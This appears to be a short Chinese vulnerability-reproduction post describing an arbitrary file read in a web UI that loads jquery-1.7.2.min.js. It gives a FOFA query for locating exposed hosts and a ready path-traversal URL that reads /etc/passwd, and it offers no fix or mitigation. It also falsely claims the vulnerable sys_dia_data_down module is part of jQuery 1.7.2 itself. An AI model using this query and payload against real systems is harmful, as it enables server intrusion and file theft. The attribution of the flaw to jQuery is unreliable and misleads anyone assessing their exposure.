本文转载于:https://mp.weixin.qq.com/s?__biz=MzIxMjEzMDkyMA==&mid=2247483871&idx=1&sn=482fab4e1d1cdee9a3c4bb1eae784e18&chksm=974b8cd8a03c05ce360ba0381e8813b3a7821ee4cf9b6ed8b80c909086bb8a1266d7f3d84f0c&mpshare=1&scene=23&srcid=0426ztD4xMusJGm0NEHCdXTL&sharer_sharetime=1682562607401&sharer_shareid=e065963f591f1d96b07207551473e96d#rd
1. jQuery-1.7.2简介
该文章 南风漏洞复现文库 公众号首发
jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。jQuery设计的宗旨是“write Less,Do More”,即倡导写更少的代码,做更多的事情。它封装JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、事件处理、动画设计和Ajax交互。
2.漏洞描述
jQuery是一个快速、简洁的JavaScript框架,是一个丰富的JavaScript代码库,其1.7.2版本的sys_dia_data_down模块存在任意文件读取漏洞,攻击者可通过前台读取任意文件。
3.影响版本
jQuery-1.7.2
4.fofa 查询语句
body="webui/js/jquerylib/jquery-1.7.2.min.js"
5.漏洞复现
漏洞链接:
https://127.0.0.1/webui/?g=sys_dia_data_down&file_name=../../../../../etc/passwd